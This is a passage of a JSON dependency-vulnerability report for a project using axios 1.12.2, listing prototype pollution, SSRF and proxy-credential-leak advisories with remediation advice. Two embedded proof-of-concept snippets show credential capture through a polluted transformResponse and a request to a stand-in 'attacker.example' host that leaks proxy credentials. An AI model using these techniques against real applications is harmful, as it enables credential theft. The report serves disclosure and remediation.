(DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `axios` to version 1.15.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GitHub Commit](https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa)\n",
"epssDetails": {
"percentile": "0.54594",
"probability": "0.00769",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42264"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-q8qp-cvcw-x6jj"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-05-05T05:18:07.775328Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-05T00:18:38Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-05T05:18:07.986019Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-14T14:48:26.200349Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.15.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-17111060",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=0.19.0 <0.31.1",
">=1.0.0 <1.15.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"0.31.1",
"1.15.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/commit/b52187f4571b6b8663fed5904e3082ab30660364",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"cvssV3BaseScore": 7,
"modificationTime": "2026-06-12T05:32:14.547189Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H",
"cvssV3BaseScore": 7.7,
"modificationTime": "2026-08-18T01:30:07.686360Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.663867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.663867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:32:14.547189Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "3.1",
"modificationTime": "2026-08-18T01:30:07.686360Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into `Object.prototype.transformResponse` prior to the request. \r\n\r\n**Note:** This is only exploitable if a separate vulnerability or attacker-controlled code has polluted `Object.prototype` with a function-valued `transformResponse` property before the request is made.\n## PoC\n```js\r\nimport http from 'http';\r\nimport axios from 'axios';\r\n\r\nconst seen = [];\r\n\r\nconst server = http.createServer((req, res) => {\r\n res.setHeader('Content-Type', 'application/json');\r\n res.end(JSON.stringify({ secret: 'response-secret' }));\r\n});\r\n\r\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\r\n\r\nObject.prototype.transformResponse = function pollutedTransform(data, headers, status) {\r\n if (headers && typeof status === 'number') {\r\n seen.push({\r\n url: this.url,\r\n username: this.auth && this.auth.username,\r\n password: this.auth && this.auth.password,\r\n responseData: data\r\n });\r\n\r\n return { hijacked: true };\r\n }\r\n\r\n return true;\r\n};\r\n\r\ntry {\r\n const { port } = server.address();\r\n\r\n const response = await axios.get(`http://127.0.0.1:${port}/users`, {\r\n auth: { username: 'svc-account', password: 'prod-secret-key-123' }\r\n });\r\n\r\n console.log(response.data); // { hijacked: true }\r\n console.log(seen[0]); // request config plus original response body\r\n} finally {\r\n delete Object.prototype.transformResponse;\r\n\r\n server.close();\r\n}\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `axios` to version 0.31.1, 1.15.2 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa)\n- [GitHub Commit](https://github.com/axios/axios/commit/b52187f4571b6b8663fed5904e3082ab30660364)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw)\n",
"epssDetails": {
"percentile": "0.62472",
"probability": "0.01041",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44495"
],
"CWE": [
"CWE-1321",
"CWE-94"
],
"GHSA": [
"GHSA-3g43-6gmg-66jw"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-05-31T08:10:47.505499Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-29T16:07:31Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-31T08:10:47.731528Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.663867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.15.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-17111062",
"title": "Server-side Request Forgery (SSRF)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"credit": [
"HamdaanAliQuatil"
],
"semver": {
"vulnerable": [
"<0.32.0",
">=1.0.0 <1.16.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"0.32.0",
"1.16.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/2af6116a957b1dd1b32056181326da8a5540d3bc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/commit/9d92bcd32639d1eea5b89f03ae45f248d3bb058e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"cvssV3BaseScore": 8.6,
"modificationTime": "2026-06-12T05:30:57.035979Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:39.100049Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:39.100049Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.6,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:30:57.035979Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the `shouldBypassProxy` function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present. \r\n\r\n**Note:** This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.\n## Remediation\nUpgrade `axios` to version 0.32.0, 1.16.0 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/2af6116a957b1dd1b32056181326da8a5540d3bc)\n- [GitHub Commit](https://github.com/axios/axios/commit/9d92bcd32639d1eea5b89f03ae45f248d3bb058e)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv)\n",
"epssDetails": {
"percentile": "0.54090",
"probability": "0.00783",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44492"
],
"CWE": [
"CWE-918"
],
"GHSA": [
"GHSA-pjwm-pj3p-43mv"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-05-31T08:18:56.549011Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-29T15:59:30Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-31T08:18:56.729203Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:39.100049Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.16.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-17111079",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<0.32.0",
">=1.0.0 <1.16.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"0.32.0",
"1.16.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/2af6116a957b1dd1b32056181326da8a5540d3bc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/commit/9d92bcd32639d1eea5b89f03ae45f248d3bb058e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"cvssV3BaseScore": 8.7,
"modificationTime": "2026-06-12T05:32:01.234826Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:40.275626Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:40.275626Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:32:01.234826Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Prototype Pollution through the `config.proxy` property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the `Object.prototype` with a malicious `proxy` object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `axios` to version 0.32.0, 1.16.0 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/2af6116a957b1dd1b32056181326da8a5540d3bc)\n- [GitHub Commit](https://github.com/axios/axios/commit/9d92bcd32639d1eea5b89f03ae45f248d3bb058e)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh)\n",
"epssDetails": {
"percentile": "0.58995",
"probability": "0.00932",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44494"
],
"CWE": [
"CWE-1321",
"CWE-441"
],
"GHSA": [
"GHSA-35jp-ww65-95wh"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-05-31T09:34:23.788918Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-29T16:04:00Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-31T09:34:23.978063Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:40.275626Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.16.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-17172681",
"title": "Insertion of Sensitive Information Into Sent Data",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P",
"credit": [
"Ngocnn97"
],
"semver": {
"vulnerable": [
"<0.32.0",
">=1.0.0 <1.16.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.32.0",
"1.16.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/pull/10794",
"title": "GitHub PR"
},
{
"url": "https://github.com/axios/axios/releases/tag/v0.32.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/axios/axios/releases/tag/v1.16.0",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-12T05:31:04.830184Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:16:39.747285Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:16:39.747285Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:31:04.830184Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the `setProxy` function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the `Proxy-Authorization` header being sent to the attacker's server.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when `HTTPS_PROXY` is unset or excluded by `NO_PROXY`).\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be mitigated by setting `maxRedirects: 0` and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.\n## PoC\n```js\r\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\r\ndelete process.env.HTTPS_PROXY;\r\n\r\nawait axios.get('http://attacker.example/start');\r\n```\n## Remediation\nUpgrade `axios` to version 0.32.0, 1.16.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc)\n- [GitHub Commit](https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b)\n- [GitHub PR](https://github.com/axios/axios/pull/10794)\n- [GitHub Release](https://github.com/axios/axios/releases/tag/v0.32.0)\n- [GitHub Release](https://github.com/axios/axios/releases/tag/v1.16.0)\n",
"epssDetails": {
"percentile": "0.53311",
"probability": "0.00760",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44486"
],
"CWE": [
"CWE-201"
],
"GHSA": [
"GHSA-j5f8-grm9-p9fc"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-06-05T07:50:28.077675Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-04T14:15:01Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-05T07:50:28.296301Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:16:39.747285Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.16.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
